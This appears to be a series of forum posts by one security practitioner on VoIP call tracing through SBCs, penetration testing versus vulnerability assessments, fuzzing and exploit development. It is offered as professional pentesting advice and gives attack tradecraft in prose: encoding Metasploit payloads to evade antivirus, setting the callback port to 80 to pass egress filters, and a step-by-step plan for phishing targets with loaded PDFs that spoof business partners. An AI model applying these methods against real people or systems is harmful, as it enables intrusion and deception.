No. Again, this is how it would work with fictitious IP addresses:

Caller (a) 1.2.3.4
ISP 1.2.3.1 (b)
ITSP 2.4.6.8 (c)
SBC 10.10.10.2 (d)
ITSP 10.10.10.1 (e)
Carrier 6.7.8.9 (f)
Callee's Carrier SS7 switches/other 10.11.12.13 (g)
Callee Physical Telephone (h)

When you place a call from a VoIP based phone it will go from your machine through your ITSP (a through c). Once it hits your ITSP, a Session Border Controller will likely take your information, parse it to a destination and send it out to a chosen carrier (c through d, e, f). In this process a SIP packet will look like this:



When this information hits the outbound side (f hitting g), it's likely to be mangled again to hide the topology information:

This is what MY SBC would post


Take a good look at what YOU will be receiving:

f: "MY CLIENT FORGOT THEIR CID LET ME INSERT IT FOR THEM" <sip:12125551212@10.10.10.1:5060;isup-oli=0;GX=xxxxxxxxxxxx-xxxxxxxx>;

The IP information is my network. On the RTP side however, you can and should get the IP information however, if they're using a proxy, you're hit. On a SIP to SIP (VoIP to VoIP call) things are a little different:


It all depends on how the carrier has things set up. Few things to remember... 1) Skype is peer to peer. The odds of you getting the direct IP via packet sniffing is almost non-existent. 2) In an ITSP setup (Vonage, Packet8, etc.) the IP information you're going to see if the provider's NOT the caller's.

You're misinformed. Skype is a peer-to-peer protocol and the only information you will see is the peer that you're connected with. NOT necessarily the caller:

You seem to be pointint to/referring to/and or confusing a risk assessment not a penetration test.


This is more along the lines of risk management and security awareness so again I point to the analogy of "telling me the door is open, I could get in by..." versus: "I tried to walk in the door but once inside found out it was a false wall. I couldn't get anywhere..." (https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol-52-no-1/turning-a-cold-war-scheme-into-reality.html)

Many years ago during the cold war, the CIA would build its building with the first few feet past the main wall with a "false wall" where if someone tried to eavesdrop, they would see/hear nothing. Telling me "I could get in with X" versus "I GOT IN with X" is a whole different ballgame.


Personally, when working with penetration testers we provide a great deal of detail about the network and systems to avoid the time wasting recon phase. I'm not really interested in having you scan all the ports of my class x networks, especially when I can provide the daily nessus/system7/Qualsys ones we do as SOP. We also shipped them off a standard laptop with the SOE on it, as an example of providing a more rounded review.

This sound more along the lines of an assessment in fact, the entire NSA IAM and IEM (http://www.isatrp.org/) certifications on built on this type of audit. While there isn't nothing wrong with the approach, it WILL lead to a false sense of security coupled with wasted money. Again pointing to the analogy of my door being opened... "So you're telling me someone can walk in the front door?!" There I go wasting money trying to secure that front door not even knowing if the THEORY holds true that someone can walk in. Versus: "So what happened when they tried to get in? Where they successful? Do I need to spend money locking that door down?"


I've always made it a POINT to tell the company that a vulnerability assessment won't yield true results (door analogy) and leave it up to them to make that decision. There would be nothing more embarrassing than telling a company: "Well you have X service running and an attacker could utilize..." To be stopped by an engineer who is aware service X is running and has already placed compensating controls in place. It's a waste of the clients time and money.


Blue team, red team. Threats are threats are threats and with client side exploitation ranking high on the totem pole of compromise, I prefer performing both methods of testing. Inside, outside. Both from an adversarial perspective. There is a huge difference in telling someone "I could walk out the door with your server..." versus "here is the copy of the server I walked out the door with." Which do you think holds more weight?

Most companies in my experience that solicit pentesting, vulnerability assessments are already aware that a malicious attacker can perform an attack. Think about this for a moment.

Client thinks to themselves: A malicious attacker can get in the door, let me hire a company to determine whether this is so...

Vendor: A malicious attacker can get in the door

What have you done for them other than tell them what they've already suspected versus:

Client thinks to themselves: A malicious attacker can get in the door, let me hire a company to determine whether this is so...

Vendor: A malicious attacker can get in the door if you had that configured improperly. I tried but couldn't get in....

To each their own. I see more value in pentesting than I do vulnerability assessments and have often had to fight with PCI assessors over this: "Well AppScan says this is insecure" versus "Prove it" There are too many variables to get wrong during a vulnerability assessment and the last thing you'd want AFTER performing an assessment is to find the company was 'owned' because you missed something, overlooked something, relied solely on the output of Nessus/AppScan/etc. Aside from that, the problem with the majority of tools is that... They CAN'T THINK and DON'T THINK like an attacker. They often "THINK" the way an attacker did months or years ago, then created a rule to *try* that vector but an attacker is resourceful and this is what should be tested and defended against.

Without a warrant good luck getting any information for post mortem unless you control the PBX. As for an active call, the same applies. Unless you are in a direct line of site (network) to run a sniffer or some other analyzer, you're not going to yield any information.

When a call via VoIP is placed, especially through a provider, most of the times it will traverse through an SBC (session border gateway) which almost always does topology hiding for both the client and the carrier. For example:

Caller (a)--> ISP (b)--> ITSP (c)--> SBC (d)--> ITSP (e)--> Carrier (f)--> Callee's Carrier (g)--> Callee (h)

The caller via his ISP sends a call through his ITSP (Internet Telephony Service Provider). Usually this ITSP has an SBC in place to make a determination on how to place a call. It will use LCR tables or some other mechanism to determine HOW to send the call and through WHICH provider if they have multiple carriers. Once the information is made on HOW to place the call, a SBC mangles the information to the carrier and places its own information in the SIP headers. Then the call is carried on to the carrier and on to the callee.

If you don't have LEGAL access to c, d, e (just before F) it's an illegal tap. If you're not his ISP with the legal right to tap - remember this is eavesdropping at this point - then you're hit. However if you ARE his ISP, you could look at the SIP headers to see where the call is coming from. Provided his isn't using a proxy you should see the ISP information via way of his IP. That yields little more than an IP and an IP is not an identifier: http://www.mail-archive.com/nanog@merit.edu/msg52017.html

Because of the use of wireless networks, insecurity in networks. You're looking at a needle in a haystack. Anyone can go into say an Internet cafe, fire up a softphone and place calls. I see these things all the time and wrote an IPS for Asterisk (http://voipsa.org/blog/2009/07/19/your-dial-plan-the-last-line-of-defence-part-1/) to defend against VoIP attacks so I know exactly WHERE to look for a caller. Bear in mind, I work at an ITSP which provides managed VoIP services so I see more VoIP packets than anyone I correspond with on a security basis. I also have written an Asterisk based VoIP honeypot (http://voipsa.org/pipermail/voipsec_voipsa.org/2009-June/002986.html) so I'm constantly analyzing VoIP based attacks surrounding toll fraud.

http://permalink.gmane.org/gmane.comp.voip.security.voipsa/2945

For more information on what to look for, here was my response to the group who wrote Artemisa, another VoIP based honeypot: http://www.disgraced.org/artemisa-comments.txt in that write up to them, you could see WHERE the caller informatio appears, but you will also see the potential abuses and challenges you will face in trying to identify someone without a warrant.

Lastly... SIPURI though is your friend... Best field I found to fully identify someone.

My answer is going to be quite different from the others in the sense that I WILL and HAVE exploited systems during blackhat/red team pentests. There is a huge difference between a vulnerability assessment and a penetration test. There is no true value in reporting a "suspected vulnerability" as it is wasted money.

Imagine you have the following report: (shortened to make this post bearable)

Port 139, 445, 443, 80, 21 open and running vulnerable versions...

What would you do? As a security manager doing risk assessment, you'd have to put controls in place. Justify an expense: Procure firewall to defend, have engineers spend time locking down... There is a cost Now what would you do with the same information reported only with notes stating although these services and or ports are opened, the are NOT exploitable. It's of no value other than a VULNERABILITY ASSESSMENT to NOT exploit potentially vulnerable services:

"I walked by your house and saw the door opened... I could have robbed your entire house!"

Versus:

"I walked by your house and saw the door opened... I was about to walk in and saw the Rottweiler. There was no way I was going in there..."

Tools are tools are tools are tools... Penetration testing (full exploitation) is the only real way to validate the existent of a hole. What you want to do is be responsible about it and try to make sure the risks don't outweigh the benefits. If you know FACTUALLY that by trying to exploit say IIS will force IIS to crash first, then you want to present the option beforehand so there is awareness. In a responsible pentesting assignment, they may allow you to attempt the exploit at say Sunday 2am where the risks are so low no one would notice. Trying to mimic an environment is not always feasible as there is no way for one to determine patch levels, custom configurations, rules, service packs, etc. It's just not feasible.

In your testing objectives you need to clarify WAY BEFOREHAND what you will and will not do. These need to be understood clearly not only by you but your client. You should not be fearful to outright state: "We will diligently adhere to a strict framework to avoid disaffecting your business. Should we find an instance of a potential SOMETHING we will notify you before we proceed" Carefully spelling things out goes a long way.

The goal of a blackhat pentest is usually adversarial. Therefore all is fair in love and war. Your client should be aware of this. There is no malicious hacker on the planet that will stop and say "Gee, if I run this 0day, it will crash IIS" The same need be understood by your client. This is not to say you will be wreckless. On the contrary, you need to point this out beforehand.

Just so you know, most antivirus software will detect most metasploit client side exploits. At least Kaspersky Symantec, Trend Micro, Avast and a few others. Again, go back to the client/server analogy and think about this for a moment.

In a controlled environment, say an enterprise, you're almost likely to have filtering on a firewall, IPS, IDS side which WON'T allow internal machines to connect to too many EXTERNAL ports. Meaning, why would you allow one of your users (if you're the admin) to connect to say a non business associated port. Typically 80, 21, 3128, 8080, 110, etc. The likelihood of the exploit working even IF you got through antivirus is slim.

msfencode -e x86/shikata_ga_nai is your friend. LPORT I typically configure for port 80 when I use metasploit since it's a webserver and usually allowed as a firewall, IPS, IDS rule to connect TO (server) the world FROM (client) the enterprise.

Familiarize yourself with the following chart:

http://cwe.mitre.org/documents/sources/WASCThreatClassificationTaxonomyGraphic.pdf

Watch the following video:
http://pentest.cryptocity.net/client-sides/

Also worth reading:
http://www.offensive-security.com/metasploit-unleashed/Antivirus-Bypass
http://seclists.org/metasploit/2010/q2/22

You seem to want "right now!" and it involves a lot more than simply wondering which port to pick which application to run. It involves a lot of understanding on the processes involved in interconnection and how systems operate. "What would the system do... How does it do it? What would happen if I...?" These are questions you should ask and be able to answer to make things easier as time progresses. Make yourself a quick checklist slash to do list and follow a procedure. Find your errors and try to minimize those. After a while it becomes easier.

E.g.:

Goal exploit the client side
Step 1) Determine an attack vector
Step 2) Determine how that attack vector plays out
Step 3) Document how it would work for you
Step 4) Try it on yourself
Step 5) Did it work, jot down why it did or didn't
Step 6) Attempt to exploit
Step 7) Record and analyze results

Explained...
Step 1) Determine how you propose to get in. So you chose to send them a loaded PDF

Step 2) How do you envision delivering and getting them to open up the PDF

Step 3) Jot down EXACTLY what you perceive happening

Step 4) Send yourself the exploit in a controlled environment

Step 5) What happened when you tried to exploit yourself. Did your antivirus cry foul. Was the connection successful. Did it allow you to connect BACK to the port you specified. Why or why not?

Step 6) All worked for you... Send out the exploit

Step 7) Did it work. If it did, you now have a repeatable procedure you can follow on other pentesting adventures. If not, rinse and repeat.

Take a different approach here in understanding this from a non-technological perspective. This allows you to understand the concept more...

Technological approach
Client
Server

Non-tech approach
Client - someone paying you for something
Vendor (server) - someone offering a service

On the non-tech side, you as a vendor are providing say water. You'd like your client to buy (run software) water (exploit). How would you get the client to try your tasty water. Offer it to them for free. People like free.

Tech approach
Enumerate - either technically or socially - any potential services you think your client is running. Familiarize yourself somehow with his internals. Send them an email with an embedded picture:



What does this do for you? If you're running your own webserver, you could check your logs to see the useragent on his browser. Say you see the following:


You now know whomever opened that email is using IE 6.0 to surf the Internet. How do you cause your client (that machine) to open something innocuously and run code? Search for something that could potentially affect his browser. The client would run code and open a shell to you given the right parameters.

Client side: What could that person be running inside their network? If I send them a loaded PDF would I get a shell. If I sent them a heapspraying IE exploit targeted at IE 6.0 would I be able to come OUT from them TO wherever I need them to connect to?

Can I social engineer them to open a loaded file for me? Enumerate THEIR clients and business partners. Send them a loaded PDF spoofing one of their clients, business partners, co-workers. Get them to open up something you've created to exploit the client side. The key is to get them to run something. Could be a variety of things, use your imagination. What would get YOU TO OPEN a file or check a website?

Shellcoders Handbook is great and so is Jack Koziol. I had the opportunity to correspond with Jack a few times here and there and he is a kick ass cool person. As are Dino whom I also bug from time to time.

Equix3n: Before you fork out money for the book though, although it looks easy, once involved more heavily, there is really no *one* book that will give you that "aha! NOW I GET IT" Here is a list Dino Dai Zovi sent me when I had a question pertaining to some Quicktime stuff I was lost on: http://TinyURL.com/bughunters
Just to let you understand how difficult/weird/frustrating it is for most security researchers... (apologies if you stumble on this Dino): I was fuzzing Quicktime for one of my classes and trying to get a workable (weaponized) exploit for Quicktime: (http://www.infiltrated.net/OWNING-QUICKTIME) I was frozen here. All was working as planned with complete control of my registers (EIP, EAX, etc., all were 'ownable') yet I couldn't pop my calc. Frustrated I sent a quick email to Dino asking what am I doing wrong:

I'd again insist that you should double-check that the surface that you are fuzzing is available via a web page, try and at least trigger a crash from a web page to make sure.  You don't want to take an early victory lap only to discover that it's not an actual security vulnerability (trust me, this happens to me at least a few times a year and it *sucks*).

At the end of it (my fuzzing) I had to completely drop and revamp a working exploit even though I had control in the first place... By the way n1p, ketchup if you guys follow the horrendous output, you'd notice the use of byakugan in there... Mushishi rocks!


Equix3n is not always easy in fact some of your most frustrating days will be getting an exploit working correctly however... (and this is a big however....) Simply demonstrating enough control over registers (EIP, etc.) is enough to report. If you follow the "no more free bugs" them, you aren't doing companies any favors by providing free security research and fixes to them. Sure there is the potential glory of saying "Found vulnerabilities in X, Y, Z" The truth at the heart of the matter is, time is money. After some time you won't even care about any so called glory. Ready? Apple, SAP, IBM, VMWare, Microsoft, F5, Oracle... Within the past 8 months I have cases opened with various vendors on bugs I've found. Some with CERT, some with IDefense some with ZDI... Means nothing at the end of the day seriously... I've spent countless hours on my own time when I could have been spending it with family or enjoying life. My attitude shifted into the "no more free bugs" mode where I'm learning for dual reasons now... 1) To understand/learn/enjoy security more 2) make money. We all have bills to pay.

So here is my link contribution for you:

http://pentest.cryptocity.net/

I'd start with Reverse Engineering, Fuzzing, Exploitation then client side exploitation in that order. I'd go over all the videos and walk throughs over and over until you don't have any questions you would ask if you were in the class.

Depends on what I'm fuzzing Peach is an all around awesome tool and straightforward. You can't beat Commraider for ActiveX. Protos is a good framework to edit on your own. Commercially... Klocwork rocks. I've heard the world about Codenomicon but I've yet to purchase a copy or see it demo'd although I spoke with them about 2 weeks ago.

As of late/mid last year, I began having more fun learning programming, reverse engineering in regards to security. Personally, I find it more challenging than the typical "pentesting" involving scanning, enumerating, social engineering, etc. I can say from experience it (programming/exploitation) is definitely more nerve wrecking and "intimate" (for lack of better words right now).

When it comes to vanilla (above mentioned tests) pentesting, I've always found that (in my count) about 60+% is horrible configurations and overlooked items. 30+% social engineering 10% "extreme exploiting". There have been ONLY two instances this year where I had to escalate privileges on a pentest from a fluff user to root. These occurred on *nix machines. The rest, tended to be bad configurations and lack of security awareness. I've performed 3 solid pentests consisting of about 100-125 servers/routers/switches/PBX's.

One client (99.99999% Linux) had ONE Windows machine which sadly was configured safer than their entire Linux infrastructure. They have 1 full /21 and about 3 separate /24's. Their engineers decided to use sshkeys and some genius thought he would save all his engineers time by changing all their UID's to 0. Fun ... They had an old version of Cacti running on ONE server that got them owned.

Anyway... I like reversing/coding. A lot more thought to me is involved. I'm personally at an impasse where security is too repetitive for me. Reversing is like ... "huh!?@!" So don't feel like you can't respond to anyone ever we're all going through learning phases. Heck I learn from everyone so I've always been humbled to learn and eager to share... Sometimes though, my wording (perhaps poor choices of phrases) lead people to misconstrue a response as elitist or arrogant. I'm no smarter/leeter than anyone. Security remains a learning game. Don't let anyone tell you different Sure there are plenty who can mop the floor with my coding talent... I could do it with packet-fu (been doing so since circa 97)... Does it make me better? Nah, I likely know something they don't care for and vice versa. We're all learning here no?

Couldn't find documentation on win2008. I have it installed on a VMWare machine that I barely use My theory/thought is, if it works on win7 it should work on W2k8. What I have noticed intermingling is that for the most part, if I start say fuzzying something on XP and get a working control of registers, I can usually mimic it down (2003) and up (Vista) *most* of the times with little work. When I do the same on Vista *sometimes* I can mimic it on XP. When I do *anything* on the 7 side, almost always get kernelbase errors with no way to find out where (address) this occurs. No matter what debugger I use, no matter how many breakpoints I set... fail should post screenshots... coding failblog or something... "exploit fail" where instead of calcor notepad you get ... nothing

Nah, Win7 you have to enable it as well AFAIK: "By default, SEHOP is disabled in Windows 7 and in Windows Vista. To enable SEHOP manually, follow these steps: Click Start, click Run ... " (http://support.microsoft.com/kb/956607)

Just so you know though (for those who don't): XOR, POP, POP, RET >= SEHOP (http://www.sysdream.com/articles/sehop_en.pdf) Sotirov and a few others have written about this. My guess on my end... My Win7 Ultimate is just polluted with junk constantly running. E.g., just an hour ago I plopped on Oracle's BPM Studio 10.3 to fiddle with it. So it could just be a combination of bloat. I know funny things started after Cenzic's Hailstorm which tried to fiddle with my .net and ESPECIALLY after I started making Klocwork Architect connections to a server. I think my registry is somehow in a double tee eff state.

I will dig into it a little more some other time (tinkering with Win7) however, this is just for my sanity. I envision in like 4-5 years Win7 becoming to attackers what 2000, 2003, XP now is. So I figured I'd try on my own to learn porting POC's and learning to weaponize them seamless before I submit vulns and stuff. Nothing sucks more than having it work on say 2-3 of your own machines but not being repeatable by a vendor.

NP and congrats. I'm going over a lot of advanced shellcoding tutorials and videos right now as well. My goal is repeatability across the board. Dino Zovi and Alex Sotirov have a class I'm waiting to attend called Assured Exploits. (http://trailofbits.com/2010/02/25/assured-exploitation-training/)

For example... Right now I have quite a few POC's and exploits for a variety of applications (I focus on the big boys, Oracle, IBM, etc. for obvious reasons ) Sometimes I submit work to CERT (they take forever even to get me my VRU's), sometimes I go to ZDI, sometimes IDefense, etc... Anyhow, I hate having something proven exploitable on say Windows 2003 Advanced Server, but not on say Win2008, Win7, etc.

I've been banging my head in reading especially for Win7 right now. E.g., I have one application, completely 'ownable' on everything EXCEPT Win7. I almost always get Access Violations on ? no matter what I do. A huge majority of things I find on say XP, I can replicate after a while on Vista, but on Win7 the same exploit almost always goes to kernelbase.dll so I've been trying to figure out why. It's a fun and sometimes frustrating experience.

n1p's document is definitely worth reading and again n1p if you read this, WinDBG rocks! So if you get one of those going let me know maybe I can learn more or even assist. H1t M0nk3y, I almost never suggest that anyone stray from what works for them however... I do have to state that WinDBG for debugging to me is more powerful. Not to mention the byakugan module would have found the right addresses for you:


WinDBG rocks... Immunity's Debugger (as does Canvas) for those who use then has some cool stuff in it as well. I need to update Canvas :| The only time I fire up olly nowadays is for mapping :|

NOP's are 90's... In that case, xor eax, eax is your friend... You can replace NOP's by zeroing them out, replacing them, etc.. e.g.:


http://lordparody.wordpress.com/2010/03/09/just-slide/
http://www.vividmachines.com/shellcode/shellcode.html#as
http://mishou.org/2009/12/12/insecure-programming-by-example-shellcode-stack5-c/
http://webcache.googleusercontent.com/search?q=cache:ToYj-Yq3m-UJ:nostarch.com/extras/hacking/chap2/print2.asm+zero+out+nop+sled&cd=6&hl=en&ct=clnk&gl=us&client=firefox-a

Have you tried zeroing it out. How much space do you have to play with, etc.

Ah nothing like women in security.... (www.sexyhacking.com) http://www.youtube.com/watch?v=FmxeOlnCW_o (pseudo safe for work... After all it's youtube)